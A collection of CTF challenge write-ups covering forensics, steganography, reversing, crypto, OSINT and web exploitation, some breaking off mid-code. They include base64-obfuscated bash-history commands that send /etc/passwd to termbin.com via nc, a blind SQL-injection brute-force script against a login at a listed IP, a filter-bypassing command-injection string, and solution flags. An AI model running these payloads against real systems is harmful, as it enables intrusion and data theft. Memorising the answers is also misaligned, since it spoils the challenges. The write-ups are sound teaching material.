text_chunk
stringlengths 151
703k
|
---|
# Bash history
## Task
We suspect that one of BB's internal hosts has been compromised. I copied its ~./bash_history file. Maybe, there are some suspicious commands?
File: bash_history
Tags: forensics
## Solution
There is a lot of noise in the file, we can filter that out:
```bash$ grep -Ev '^(totp-gen|ssh petr@praha-00[0-9])' bash_history```
We notice some `echo BASE64 | base64 -d | bash` which look very suspicious.
```bashecho YnJubzAwMQ== | base64 -decho cHMgYXggPiBwcm9jZXNzZXM= | base64 -d | bashecho Y2F0IHByb2Nlc3NlcyB8IG5jIHRlcm1iaW4uY29tIDk5OTk= | base64 -d | bashecho cm0gcHJvY2Vzc2Vz | base64 -d | bashecho bHMgLWwgfCBuYyB0ZXJtYmluLmNvbSA5OTk5 | base64 -d | bashecho xYTjBNR3hsTFdGc2JDMUVZWFJoSVNGOQ==echo ZWNobyBjM2x6YTNKdmJrTlVSbnQwU0dWNUecho Y2F0IC9ldGMvcGFzc3dkIHwgbmMgdGVybWJpbi5jb20gOTk5OQ== | base64 -d | bashecho Y2F0IHBhc3N3b3Jkcy50eHQgfCBuYyB0ZXJtYmluLmNvbSA5OTk5 | base64 -d | bash```
There are two echos that don't base64-decode the string. To be on the safe side of not accidentally copy-pasting the whole line and executing random code we use python:
```bash$ python -c 'from base64 import b64decode as decode; print(decode("ZWNobyBjM2x6YTNKdmJrTlVSbnQwU0dWNU"))'$ python -c 'from base64 import b64decode as decode; print(decode("xYTjBNR3hsTFdGc2JDMUVZWFJoSVNGOQ=="))'```
First one throws an exception due to incorrect padding: `binascii.Error: Incorrect padding`. Second one is just binary and unusable.
But wait! What if we combine those two?
```bash$ python -c 'from base64 import b64decode as decode; print(decode("ZWNobyBjM2x6YTNKdmJrTlVSbnQwU0dWNUxYTjBNR3hsTFdGc2JDMUVZWFJoSVNGOQ=="))'b'echo c3lza3JvbkNURnt0SGV5LXN0MGxlLWFsbC1EYXRhISF9'```
This looks like another round of good old base64.
```bash$ python -c 'from base64 import b64decode as decode; print(decode("c3lza3JvbkNURnt0SGV5LXN0MGxlLWFsbC1EYXRhISF9"))'b'syskronCTF{tHey-st0le-all-Data!!}'``` |
DESCRIPTION```We found a script being used by DEADFACE. It should be relatively straightforward, but no one here knows Python very well. Can you help us find the flag in this Python file?```
##### trickortreat.py```from hashlib import md5 as m5
def show_flag(): b = 'gginmevesogithoooedtatefadwecvhgghu' \ 'idiueewrtsadgxcnvvcxzgkjasywpojjsgq' \ 'uegtnxmzbajdu' c = f"{b[10:12]}{b[6:8]}{b[4:6]}{b[8:10]}" \ f"{b[4:6]}{b[12:14]}{b[2:4]}{b[0:2]}" \ f"{b[14:16]}{b[18:20]}{b[16:18]}{b[20:22]}" m = m5() m.update(c.encode('utf-8')) d = m.hexdigest() return f"flag{{{d}}}"
def show_msg(): print(f'Smell my feet.')
show_msg()```
In the python file *show_flag()* function returns the flag. so simply add *print(show_flag())* to the end of the python file and run.
```C:\Users\mrwhite\Desktop> python trickortreat.pySmell my feet.flag{2f3ba6b5fb8bb84c33b584f981c2d13d}```
FLAG : flag{2f3ba6b5fb8bb84c33b584f981c2d13d}--------------------------------------------- |
# Rev me (Andrdid, 958 points)
> is it possible to get what author had in mind?
FLAG = RaziCTF{G00d_J0b_h4v3_Fun_r3v1n9}
This challenge is a Reverse Engineering challenge. It was one of the many Reverse Engineering challenges during the Razi 2020 CTF.
We are given a zip file that contains a java class called `Main`.
## Main Function
```javapublic static void main(String[] args) { Scanner scan = new Scanner(System.in); System.out.print("Enter Flag: "); String YourFlag = scan.nextLine(); String OurWiredFlag="↳᨟ᅨᅨ├⌷ᭂᅨ⌷⚠69524⯮68187⌷ᦾ⮍⣦⌷⩪68187⯮65513⣦76209≵"; if(encode(mess(YourFlag)).equals(OurWiredFlag)){ System.out.println("RaziCTF{"+YourFlag+"}"); System.out.println("here is the flag take it :)"); } else { System.out.println("clean string: " + decode(OurWiredFlag)); System.out.println("Try more you can do it!"); } scan.close();}```
Main takes your input then encodes it and messes it up then compares it to `OurWiredFlag`. If they are equal then it prints out `RaziCTF{`YourInput`}`. If they aren't equal it prints out `Try more you can do it!`.
## Encode Function```Javapublic static String encode(String userInput){ StringBuilder fin= new StringBuilder(); for (int i=0; i |
The challenge name gives a hint about LSB. Analyzing the bit planes using [Steganabara](https://github.com/quangntenemy/Steganabara) or [StegSolve](http://www.caesum.com/handbook/stego.htm), it's easy to see the distortion, which means there is a high chance that LSB steganography is involved.
The flag can be extracted from the LSB in BGR order:
 |
# Confessions
## Task
Categories: web
Difficulty: easy
Someone confessed their dirtiest secret on this new website: https://confessions.flu.xxxCan you find out what it is?
## Solution
We can enter a title and message to confess. We can publish this message. We have a preview that shows us the hash of the message and the message itself.
Looking at the source code of the page we find the javascript.
On input it uses a GraphQL endpoint to fetch the information.
```javascriptconst gql = async (query, variables={}) => { let response = await fetch('/graphql', { method: 'POST', headers: { 'content-type': 'application/json', }, body: JSON.stringify({ operationName: null, query, variables, }), }); let json = await response.json(); if (json.errors && json.errors.length) { throw json.errors; } else { return json.data; }};```
There is an example call:
```javascriptgql('mutation Q($id: String) { confessionWithMessage(id: $id) { title, hash, message } }', { id });```
I never used GraphQL before so the first thing I did was finding out how to - not limit the query to a specific hash or id (didn't work) - view the structure of the stored data
So I found this: https://graphql.org/learn/introspection/
Using `{ __schema { types { name fields { name description } } } }` with `gql` in the developer console reveals some interesting information: - There is a `Confession` and `Access` type - The `Query` type has an additional `accessLog` field with the description `Show the resolver access log. TODO: remove before production release` - The `Access` type has `timestamp` `name` and `args` fields
Let's query the `accessLog`:
```javascript var data = await gql('{ accessLog { timestamp name args } }', { }); data.accessLog.forEach(x => console.log(x)); ```
We see that all important information is redacted. Let's filter out the hashes:
```javascript var hashes = new Set(data.accessLog.map(x => JSON.parse(x.args).hash).filter(x => x)); hashes.forEach(hash => gql('query Q($hash: String) { confession(hash: $hash) { id, title, hash } }', { hash }).then(d => console.log(d.confession))); ```
We see that `id` is always null. We also see that there are multiple entries with the title flag and a hash, our own tests are also visible. We didn't publish a single one, but there are multiple entries. While we were typing the hash was constantly changing.
Maybe the first hash is the hash of the first char, the second hash with two chars and so on. Let's verify that real quick:
```python>>> from hashlib import sha256>>> alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-">>> for c in alphabet:... if sha256(c.encode("utf-8")).hexdigest() == "252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111":... print(c)f ```
Okay, let's write a script to do the work for us and bruteforce the flag.
First, extract all hashes:
```javascriptvar out = [];for (let hash of hashes) { let data = await gql('query Q($hash: String) { confession(hash: $hash) { id, title, hash } }', { hash }); if (data.confession.title === "Flag") { out[out.length] = data.confession.hash; }};// wait some timeconsole.log(out);```
Now we can export that to python and write a script:
```pythonfrom hashlib import sha256
hashes = ["252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111","593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6","c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83","807d0fbcae7c4b20518d4d85664f6820aafdf936104122c5073e7744c46c4b87","0577f6995695564dbf3e17ef36bf02ee73ba10ab300caf751315615e0fc6dd37","9271dd87ec1a208d1a6b25f8c4e3b21e36c75c02b62fafc48cf1327bac220e48","95f5e39cb28767940602ce3241def53c42d399ae1daf086c9b3863d50a640a81","62663931ff47a4c77e88916d96cad247f6e2c352a628021a1b60690d88625d75","5534607d1f4ee755bc11d75d082147803841bc3959de77d6159fca79a637ac77","52a88481cc6123cc10f4abb55a0a77bf96d286f457f6d7c3088aaf286c881b76","7ffcb9b3a723070230441d3c7aee14528ca23d46764c78365f5fdf24d0cdef53","532e4cecd0320ccb0a634956598c900170bd5c6f1f22941938180fe719b61d37","a4b24c8f4f14444005c7023e9d2f75199201910af98aaef621dc01cb6e63f1d1","1092c20127f3231234eadf0dd5bee65b5f48ffbdc94e5bf928e3605781a8c0d1","1e261929cc13a0e9ecf66d3e6508c14b79c305fa10768b232088e6c2bfb3efa3","0bb629dfb5bf8a50ef20cfff123756005b32a6e0db1486bd1a05b4a7ddfd16c7","0141c897af69e82bc9fde85a4c99b6e693f6eb390b9abdeda4a34953f82efa4b","c20ee107ba4d41370cc354bb4662f3efb6b7c14e7b652394aaa1ad0341e4a1c9","d6b977c1deb6179c7b9ac11fb2ce231b100cf1891a1102d02d8f7fbea057b8a0","fb7dc9b1be6477cea0e23fdc157ff6b67ce075b70453e55bb22a6542255093f1","70b652dad63cabed8241c43ba5879cc6d509076f778610098a20154eb8ac1b89","26f4fc4aba06942e5e9c5935d78da3512907fe666e1f1f186cf79ac14b82fcad","c31c26dbbcf2e7c21223c9f80822c6b8f413e43a2e95797e8b58763605aaca0d","eb992e46fb842592270cd9d932ba6350841966480c6de55985725bbf714a861d","c21af990b2bd859d99cfd24330c859a4c1ae2f13b0722962ae320a460c5e0468","ebf2b799b6bf20653927092dae99a6b0fc0094abc706ca1dce66c5d154b4542d","07a272d52750c9ab31588402d5fb8954e3e5174fcab9291e835859a5f8f34cf9","5a047cba5d6e0cf62d2618149290180e1476106d71bd9fdb7b1f0c41437c2ff5"]
chars = [chr(i).encode("utf-8") for i in range(256)]solve = b''
for hash in hashes: for char in chars: if sha256(solve + char).hexdigest() == hash: solve += char
print(solve.decode("utf-8"))```
Running it:
```bash$ python solve.pyflag{but_pls_d0nt_t3ll_any1}``` |
# Recurzip> Points: 955
## Description> You download the file, you stay in this challenge, and I show you how deep the file goes. Remember: all I'm offering is the flag. Nothing more.
## Solution> It's a Zip which contains recursively zipped file of 10,000 timesWritten a bash script for that```sh#!/bin/sh
filename=$(ls | grep zip | cut -d'.' -f 1)
while [ ${#filename} != 0 ]do filename=$(ls | grep zip | cut -d'.' -f 1) password=$(echo $filename | base64 -d) filename="${filename}.zip"
unzip -P $password $filename rm $filename cleardone```It returns `flag.txt`
## Flag> RaziCTF{wh3lp_th4t_w4s_e4sy_en0ugh} |
We already know from the challenge name that this is a blind SQL injection challenge.
We are greeted with a login page and a `/login` endpoint we can post credentials to.When trying to log in it just says `You are not allowed to login` which seems quite odd. Is this the same as `authentication failed` or something like that?I did not find any SQL-injection stuff yet, so we move on, maby it is not processing our login data yet?
It might be that we are not allowed to login to the page yet, so let's find out why.
There is a cookie for this website: `416c6c6f77=46616c7365`.Decoding this as hex yields: `Allow=False`, so let's try to set it to True and then encode it the same way.When POSTing to `/login` with this cookie and `uname=admin&pasw=admin` it now says `you FAlid to 3nt3r`.
Now it seems like the login is actually processed, so maby we can do some SQL injection now?```http -f POST http://130.185.122.155:8080/login "uname=admin' or 1--" "psw=a" Cookie:"416c6c6f77=54727565"```This works pretty well!```html<html>You did it!!</html>```
There is no flag here though... So my bet is that the flag is the password of the user. We cannot print any information from the database,so we need to find another way to exfiltrate data.
Here is where boolean-based SQL injection queries comes into play. We can differentiate between successful logins or not successful logins byadding a `' or 1--` or a `' or 0--`. This way we can query something from the database and check if that value is what we expect. If it is, then do a successfullogin, or else fail to login.
After som trial and error, I came up with the following query to leak the password character by character:```sql' or (SELECT CASE SUBSTR(password,1,1) WHEN 'A' THEN 1 ELSE 0 END FROM USERS)--```
This query checks if the first character of the password is "A".
Now we can bruteforce this using a Python script I wrote:```python#!/usr/bin/env python3import requestsimport string
url = "http://130.185.122.155:8080/login"headers = {"Cookie": "416c6c6f77=54727565"}
psw = "RaziCTF{"i = len(psw) + 1while True: for c in string.printable: data = { "uname": f"' or (SELECT case substr(password,1,{i}) when '{psw+c}' then 1 else 0 end from users)--", "psw": "a" } r = requests.post(url, headers=headers, data=data) if 'did it' in r.text: psw += c i += 1 print(psw) break print(psw+c) if c == "}": breakprint("FLAG:", psw)``` |
For solving this challenge, just use the zsteg tool on png file:```root@kali:~/razi/Culture# zsteg enc.png imagedata .. text: "+*#QRM'(\""b1,bgr,lsb,xy .. text: "RaziCTF{i_s33_ur_4_MaN_0f_LSB_aS_W3LL}====="b2,b,lsb,xy .. text: "UZ_yl\t z"b4,r,lsb,xy .. text: "ff3\"\"#Ffffwwww"b4,r,msb,xy .. text: ["U" repeated 8 times]b4,g,lsb,xy .. text: "322\"3\"22TB2\""b4,g,msb,xy .. text: "UUUU3333"b4,b,lsb,xy .. text: "\"#33#\"33EDDDUUUU"b4,b,msb,xy .. text: ["U" repeated 8 times]``` |
# Red Rum
 
```txtWe want you to infiltrate DEADFACE as a programmer. Thing is, they're picky about who they bring in. They want to make sure you're the real deal when it comes to programming. Generate a list of numbers 1-500. For each number divisible by 3, replace it with Red; for each number divisible by 5, replace it with Rum. For numbers divisible by both 3 AND 5, replace it with RedRum.
nc env2.hacktober.io 5000```
---
Ok... I don't think this challenge requires too much explaining - it can be solved quite easily using just a single line of python code ^^:
```py#!/usr/bin/python3print(','.join(['RedRum' if not (n%3 or n%5) else 'Red' if not n%3 else 'Rum' if not n%5 else str(n) for n in range(1,501)]))```
... if you do, however, want a clearer explanation - I've made the code more comprehensible below:
```py#!/usr/bin/python3
MIN = 1MAX = 500
for i in range(MIN,MAX+1): if i % 3 == 0 and i % 5 == 0: print('RedRum', end='') elif i % 3 == 0: print('Red', end='') elif i % 5 == 0: print('Rum', end='') else: print(str(i), end='') if i < MAX: print(',', end='')
print()```
... anyways... simply pipe this into `netcat` now...
```bash./rum.py | nc env2.hacktober.io 5000```
... and retrieve the flag: `flag{h33eeeres_j0hnny!!!}` |
in this challenge, we're given an elf32 file which is not stripped. after seeing the disassembly it was very straightforward.
gets an input, applies some filters by strstr check, and then appends our input to "ping -c " and calls the `system` and uses the concatenated command as argument.
so it's basically bypassing some simple strstr checks to run command in bash and read the flag.
I found that it doesn't filter the pipe `|` character, and also its string (and not single character) checks could be bypassed like instead of `cat`, write `"c""a""t"`.
and I used `2> /dev/null | "c""at" flag.txt` as input and got the flag:```Welcome to our ping serivce tell me what to ping ping 2> /dev/null | "c""at" flag.txtRaziCTF{!_jus7_w4nt3d _t0_h3lp}``` |
we're given a java code that has the flag encoded by its custom encoding functions, or scramblers I might say.
the code (editied by me a bit) is as follow:```import java.util.ArrayList;import java.util.Arrays;import java.util.Scanner;public class Main {
public static void main(String[] args) { Scanner myObj = new Scanner(System.in); System.out.print("Enter Flag: "); String YourFlag = myObj.nextLine(); String OurWiredFlag="↳᨟ᅨᅨ├⌷ᭂᅨ⌷⚠69524⯮68187⌷ᦾ⮍⣦⌷⩪68187⯮65513⣦76209≵";
/* my addend code */ /* print the list as integer list */ char[] arr = OurWiredFlag.toCharArray(); for (int i=0; i < arr.length; i++) { System.out.print(String.valueOf((int)arr[i]) + ", "); } System.out.println(""); /* end of my addend code */
if(encode(mess(YourFlag)).equals(OurWiredFlag)){ System.out.println("RaziCTF{"+YourFlag+"}"); System.out.println("here is the flag take it :)"); } else { System.out.println("Try more you can do it!"); } } public static String clean(String str){ /*can you help clean my mess it will help you with flag :)*/ return null; } public static String mess(String str){ char a[]=str.toCharArray(); int b=a.length; char fin[]=new char[b]; int i=0; int j=1; int k=0; while (true){ try { if (i%2==0){ fin[(b/2)-k]=a[i]; k++; }else if (i%2==1){ fin[(b/2)+j]=a[i]; j++; } else { fin[i]= (char) (a[i]%5); } i++; }catch (Exception e) { return Arrays.toString(a); } } } public static boolean CHECK(char str){ int[] a=new int[10]; for (int i=0;i<10;i++){ a[i]=i+1; } try { int i=0; while (true){ i++; String b=String.valueOf(str); String c=String.valueOf(a[i-1]); if(b.equals(c)){ return true; } } }catch (Exception ex){
return false; } } public static String decode(String str){ /*I really wanted to decode this thing but i really didn't feel like it :D */ return null; } public static String encode(String str){ StringBuilder fin= new StringBuilder(); for (int i=0; i |
# Industrial Network 2 writeup# Our problem in short:
Master req. = 09 0F 00 00 00 05 01 1F 2F 38- Change slave id to 04- Set first output to high (1) and remaining to low (0)- The answer is not in the regular flag format (Uppercase hex with space delimeter between bytes)
# Let's begin!
So first of all I used https://www.modbustools.com/modbus.htmlas a reference for protocol format
Format tells us important info about frame:
09 - **Slave id**
0F - **Write multiple coils function**
00 00 - **Offset of first slave**
00 05 - **How many coils we wanna write**
01 - **Size of our data**
1F - **0 0 0 1 1 1 1 1 in binary which means all coils we wanted to write are set to high**
2F 38 - **CRC checksum**
Problem tells us to change slave id to 04 so:
**09** -> **04**
And first output to high (1) and remaining to low (0) so:
**1F [0 0 0 1 1 1 1 1]** -> **01 [0 0 0 0 0 0 0 1]**
And recalculated crc like this:
**2F 38** -> **6E A9**
So finally we have this request:
04 - **Slave id**
0F - **Write multiple coils function**
00 00 - **Offset of first slave**
00 05 - **How many coils we wanna write**
01 - **Size of our data**
01 - **0 0 0 0 0 0 0 1 setting first output to high and rest to low**
6E A9 - **crc**
Submit `04 0F 00 00 00 05 01 01 6E A9` and get your points now! |
# HollowayOSINT
## Challenge

## Solution
following the provided challenge link```https://dikelaw535.wixsite.com/holloway```we are met with the following web page

that ain't good :/ no Secrets yet ... hhbut again maybe it was there but deleted :)checking through using Wayback Machine we get something
a twitter handle @juliusKingsleyy following the link ```https://twitter.com/juliusKingsleyy```
we are met with the following page, just a weird looking tweet

aha!
the challenge name is a hint for Twitter Steganography technique. we decode the tweet using the siteholloway.nz/steg/
and there we get our flag

## Flag : RaziCTF{secret1337} |
# Goblet of Fire
## Task
I think Granger is smart enough to help you solve this challenge!
File: Goble of Fire.txt
Tags: steganography
## Solution
I have a setting in nano that shows me inconsisten use of tabs and spaces. This showed me a weird pattern in the file. I tried extracting it manually with some piping magic but no luck.
After researching a few minutes I found `snow`. Also called `stegsnow`. Used to hide data in files with tabs and spaces. Compression and encryption is optional.
After trying with and without compression I used `Granger` as the password:
```bash$ ./snow -p Granger Goblet\ of\ Fire.txt;echoRaziCTF{175_ju57_tabs_4nd_5p4c35}``` |
# Poly RSA (crypto, 100p, 78 solved)
## Description
This challenge is pretty much a rip-off from 0CTFs Baby RSA https://github.com/p4-team/ctf/tree/master/2019-03-23-0ctf-quals/crypto_babyrsa
We get some [sage outputs](https://raw.githubusercontent.com/TFNS/writeups/master/2020-07-31-InCTF/rsapoly/out.txt)This code implements RSA over `PolynomialRing(Zmod(p))`
Similarly to DLPoly task there are discrepancies in the provided data:
- We don't get `m^65537` but rather `m^65537 % n`- It's not exactly clear what is the ring and how the flag is encoded
## Solution
As we know from 0CTF task, the totient for polynomial `n` is just `phi(n) = (p^f1.degree()-1)*(p^f2.degree()-1)*...*(p^fk.degree()-1)` where `f1,f2,...,fk` are factors of `n` so `n = f1*f2*...*fk`.
We can therefore just do:
```pythonp = 2470567871P.<x> = PolynomialRing(Zmod(p))n = 1932231392*x^255 + 1432733708*x^254 + 1270867914*x^253 + 1573324635*x^252 + 2378103997*x^251 + 820889786*x^250 + 762279735*x^249 + 1378353578*x^248 + 1226179520*x^247 + 657116276*x^246 + 1264717357*x^245 + 1015587392*x^244 + 849699356*x^243 + 1509168990*x^242 + 2407367106*x^241 + 873379233*x^240 + 2391647981*x^239 + 517715639*x^238 + 828941376*x^237 + 843708018*x^236 + 1526075137*x^235 + 1499291590*x^234 + 235611028*x^233 + 19615265*x^232 + 53338886*x^231 + 434434839*x^230 + 902171938*x^229 + 516444143*x^228 + 1984443642*x^227 + 966493372*x^226 + 1166227650*x^225 + 1824442929*x^224 + 930231465*x^223 + 1664522302*x^222 + 1067203343*x^221 + 28569139*x^220 + 2327926559*x^219 + 899788156*x^218 + 296985783*x^217 + 1144578716*x^216 + 340677494*x^215 + 254306901*x^214 + 766641243*x^213 + 1882320336*x^212 + 2139903463*x^211 + 1904225023*x^210 + 475412928*x^209 + 127723603*x^208 + 2015416361*x^207 + 1500078813*x^206 + 1845826007*x^205 + 797486240*x^204 + 85924125*x^203 + 1921772796*x^202 + 1322682658*x^201 + 2372929383*x^200 + 1323964787*x^199 + 1302258424*x^198 + 271875267*x^197 + 1297768962*x^196 + 2147341770*x^195 + 1665066191*x^194 + 2342921569*x^193 + 1450622685*x^192 + 1453466049*x^191 + 1105227173*x^190 + 2357717379*x^189 + 1044263540*x^188 + 697816284*x^187 + 647124526*x^186 + 1414769298*x^185 + 657373752*x^184 + 91863906*x^183 + 1095083181*x^182 + 658171402*x^181 + 75339882*x^180 + 2216678027*x^179 + 2208320155*x^178 + 1351845267*x^177 + 1740451894*x^176 + 1302531891*x^175 + 320751753*x^174 + 1303477598*x^173 + 783321123*x^172 + 1400145206*x^171 + 1379768234*x^170 + 1191445903*x^169 + 946530449*x^168 + 2008674144*x^167 + 2247371104*x^166 + 1267042416*x^165 + 1795774455*x^164 + 1976911493*x^163 + 167037165*x^162 + 1848717750*x^161 + 573072954*x^160 + 1126046031*x^159 + 376257986*x^158 + 1001726783*x^157 + 2250967824*x^156 + 2339380314*x^155 + 571922874*x^154 + 961000788*x^153 + 306686020*x^152 + 80717392*x^151 + 2454799241*x^150 + 1005427673*x^149 + 1032257735*x^148 + 593980163*x^147 + 1656568780*x^146 + 1865541316*x^145 + 2003844061*x^144 + 1265566902*x^143 + 573548790*x^142 + 494063408*x^141 + 1722266624*x^140 + 938551278*x^139 + 2284832499*x^138 + 597191613*x^137 + 476121126*x^136 + 1237943942*x^135 + 275861976*x^134 + 1603993606*x^133 + 1895285286*x^132 + 589034062*x^131 + 713986937*x^130 + 1206118526*x^129 + 311679750*x^128 + 1989860861*x^127 + 1551409650*x^126 + 2188452501*x^125 + 1175930901*x^124 + 1991529213*x^123 + 2019090583*x^122 + 215965300*x^121 + 532432639*x^120 + 1148806816*x^119 + 493362403*x^118 + 2166920790*x^117 + 185609624*x^116 + 184370704*x^115 + 2141702861*x^114 + 223551915*x^113 + 298497455*x^112 + 722376028*x^111 + 678813029*x^110 + 915121681*x^109 + 1107871854*x^108 + 1369194845*x^107 + 328165402*x^106 + 1792110161*x^105 + 798151427*x^104 + 954952187*x^103 + 471555401*x^102 + 68969853*x^101 + 453598910*x^100 + 2458706380*x^99 + 889221741*x^98 + 320515821*x^97 + 1549538476*x^96 + 909607400*x^95 + 499973742*x^94 + 552728308*x^93 + 1538610725*x^92 + 186272117*x^91 + 862153635*x^90 + 981463824*x^89 + 2400233482*x^88 + 1742475067*x^87 + 437801940*x^86 + 1504315277*x^85 + 1756497351*x^84 + 197089583*x^83 + 2082285292*x^82 + 109369793*x^81 + 2197572728*x^80 + 107235697*x^79 + 567322310*x^78 + 1755205142*x^77 + 1089091449*x^76 + 1993836978*x^75 + 2393709429*x^74 + 170647828*x^73 + 1205814501*x^72 + 2444570340*x^71 + 328372190*x^70 + 1929704306*x^69 + 717796715*x^68 + 1057597610*x^67 + 482243092*x^66 + 277530014*x^65 + 2393168828*x^64 + 12380707*x^63 + 1108646500*x^62 + 637721571*x^61 + 604983755*x^60 + 1142068056*x^59 + 1911643955*x^58 + 1713852330*x^57 + 1757273231*x^56 + 1778819295*x^55 + 957146826*x^54 + 900005615*x^53 + 521467961*x^52 + 1255707235*x^51 + 861871574*x^50 + 397953653*x^49 + 1259753202*x^48 + 471431762*x^47 + 1245956917*x^46 + 1688297180*x^45 + 1536178591*x^44 + 1833258462*x^43 + 1369087493*x^42 + 459426544*x^41 + 418389643*x^40 + 1800239647*x^39 + 2467433889*x^38 + 477713059*x^37 + 1898813986*x^36 + 2202042708*x^35 + 894088738*x^34 + 1204601190*x^33 + 1592921228*x^32 + 2234027582*x^31 + 1308900201*x^30 + 461430959*x^29 + 718926726*x^28 + 2081988029*x^27 + 1337342428*x^26 + 2039153142*x^25 + 1364177470*x^24 + 613659517*x^23 + 853968854*x^22 + 1013582418*x^21 + 1167857934*x^20 + 2014147362*x^19 + 1083466865*x^18 + 1091690302*x^17 + 302196939*x^16 + 1946675573*x^15 + 2450124113*x^14 + 1199066291*x^13 + 401889502*x^12 + 712045611*x^11 + 1850096904*x^10 + 1808400208*x^9 + 1567687877*x^8 + 2013445952*x^7 + 2435360770*x^6 + 2414019676*x^5 + 2277377050*x^4 + 2148341337*x^3 + 1073721716*x^2 + 1045363399*x + 1809685811ct = 1208612545*x^254 + 1003144104*x^253 + 1173365710*x^252 + 1528252326*x^251 + 2263767409*x^250 + 2030579621*x^249 + 820048372*x^248 + 1474305505*x^247 + 1313951805*x^246 + 191260021*x^245 + 687901467*x^244 + 231907128*x^243 + 1757265648*x^242 + 1536859261*x^241 + 97792274*x^240 + 86150615*x^239 + 2283802022*x^238 + 728791370*x^237 + 1402241073*x^236 + 2010876897*x^235 + 1112960608*x^234 + 1785301939*x^233 + 862124720*x^232 + 573190801*x^231 + 1353395115*x^230 + 1041912948*x^229 + 1592516519*x^228 + 2043096090*x^227 + 970437868*x^226 + 945296597*x^225 + 764979415*x^224 + 151795004*x^223 + 744776063*x^222 + 49064457*x^221 + 379720326*x^220 + 549708067*x^219 + 1278937325*x^218 + 1348751857*x^217 + 897039278*x^216 + 1738651055*x^215 + 1458044806*x^214 + 947593966*x^213 + 604294495*x^212 + 1101712128*x^211 + 1106608879*x^210 + 556697284*x^209 + 339078898*x^208 + 135886774*x^207 + 682237064*x^206 + 1298394254*x^205 + 2038363686*x^204 + 1138996508*x^203 + 321551693*x^202 + 1194023535*x^201 + 1627100598*x^200 + 581786959*x^199 + 209400153*x^198 + 1354413890*x^197 + 1689568849*x^196 + 1038349567*x^195 + 2129265853*x^194 + 96150366*x^193 + 1879712323*x^192 + 140146576*x^191 + 855348682*x^190 + 571231503*x^189 + 1759489757*x^188 + 1528175919*x^187 + 1420729777*x^186 + 1778060705*x^185 + 204520875*x^184 + 2409946047*x^183 + 1703900286*x^182 + 379350638*x^181 + 145936788*x^180 + 644037909*x^179 + 946490870*x^178 + 2143460817*x^177 + 2124654819*x^176 + 735909283*x^175 + 1956333192*x^174 + 69508572*x^173 + 1998473705*x^172 + 2219097711*x^171 + 2324764950*x^170 + 1295835297*x^169 + 475763021*x^168 + 124896627*x^167 + 392652227*x^166 + 2414019050*x^165 + 519556546*x^164 + 2379934828*x^163 + 74942046*x^162 + 2333943359*x^161 + 5807728*x^160 + 1572302913*x^159 + 933057583*x^158 + 2327572070*x^157 + 2174172163*x^156 + 326654947*x^155 + 2362777406*x^154 + 1571381551*x^153 + 818720017*x^152 + 564409161*x^151 + 784212625*x^150 + 2084631116*x^149 + 1709163682*x^148 + 1791572159*x^147 + 2362306858*x^146 + 1870950847*x^145 + 936293454*x^144 + 1992907305*x^143 + 2427866610*x^142 + 1377299939*x^141 + 2336147340*x^140 + 419537038*x^139 + 1775945090*x^138 + 1084486367*x^137 + 1628708302*x^136 + 624109245*x^135 + 1140675451*x^134 + 848915999*x^133 + 1380203834*x^132 + 103496883*x^131 + 81739774*x^130 + 2055692293*x^129 + 1586687843*x^128 + 1682316161*x^127 + 134734383*x^126 + 885001299*x^125 + 2466212723*x^124 + 137905246*x^123 + 2305925724*x^122 + 410043787*x^121 + 2154453335*x^120 + 2018367068*x^119 + 1967315089*x^118 + 220606010*x^117 + 1066579186*x^116 + 2022385524*x^115 + 1564928688*x^114 + 851080667*x^113 + 1683812556*x^112 + 672848621*x^111 + 646553151*x^110 + 1348955204*x^109 + 1543570099*x^108 + 2260622184*x^107 + 1111757240*x^106 + 1797688791*x^105 + 1307761272*x^104 + 179896670*x^103 + 1197947306*x^102 + 1792231092*x^101 + 1515817157*x^100 + 1510541452*x^99 + 1784535666*x^98 + 1755403646*x^97 + 2388416288*x^96 + 1913808879*x^95 + 2139772089*x^94 + 1373043969*x^93 + 900021127*x^92 + 1613888837*x^91 + 331160696*x^90 + 2404083812*x^89 + 448818904*x^88 + 592910594*x^87 + 2436296390*x^86 + 2103089380*x^85 + 2027661376*x^84 + 277165788*x^83 + 717390488*x^82 + 319876555*x^81 + 1394843317*x^80 + 2314542109*x^79 + 2295617403*x^78 + 313842193*x^77 + 1918458371*x^76 + 1189324530*x^75 + 1765150225*x^74 + 1107038066*x^73 + 613811679*x^72 + 578744934*x^71 + 538203467*x^70 + 1710976133*x^69 + 1681208001*x^68 + 462043988*x^67 + 299437516*x^66 + 1843758398*x^65 + 851754779*x^64 + 1850189150*x^63 + 710529550*x^62 + 922473306*x^61 + 2344816934*x^60 + 54182289*x^59 + 2394694981*x^58 + 1849818608*x^57 + 1926799414*x^56 + 950266030*x^55 + 1290713338*x^54 + 1851455277*x^53 + 1607851092*x^52 + 1587576465*x^51 + 2279226257*x^50 + 1637387507*x^49 + 779327218*x^48 + 919124653*x^47 + 1126060258*x^46 + 2304179492*x^45 + 77984480*x^44 + 966167063*x^43 + 402292668*x^42 + 1332816563*x^41 + 524746316*x^40 + 2427530022*x^39 + 677075099*x^38 + 755256194*x^37 + 2152433299*x^36 + 2197374397*x^35 + 2290208129*x^34 + 996810109*x^33 + 101994796*x^32 + 252415814*x^31 + 1964967972*x^30 + 1533782356*x^29 + 1034980624*x^28 + 816216163*x^27 + 1535614986*x^26 + 1835762944*x^25 + 1147606118*x^24 + 1189426347*x^23 + 33594119*x^22 + 2113251273*x^21 + 826059142*x^20 + 1074101610*x^19 + 1638140405*x^18 + 1633380033*x^17 + 2005588694*x^16 + 2087514746*x^15 + 768034353*x^14 + 104476320*x^13 + 483234608*x^12 + 2424146196*x^11 + 49841203*x^10 + 145673059*x^9 + 705090263*x^8 + 1832451737*x^7 + 2394175351*x^6 + 1966712784*x^5 + 276537935*x^4 + 499607533*x^3 + 1981107449*x^2 + 776654074*x + 886398299e = 65537q1, q2 = n.factor()q1, q2 = q1[0], q2[0]s = (p**q1.degree() - 1) * (p**q2.degree() - 1)d = inverse_mod(e,s)pt = pow(ct, d, n)print(''.join([chr(c) for c in pt.coefficients()]))```
And we get `inctf{and_i_4m_ir0n_m4n}` |
# Stolen licenses (300 points)
## Description
We found another file on the dark net! It seems that cyber criminals stole some of our license keys and put them up for sale.
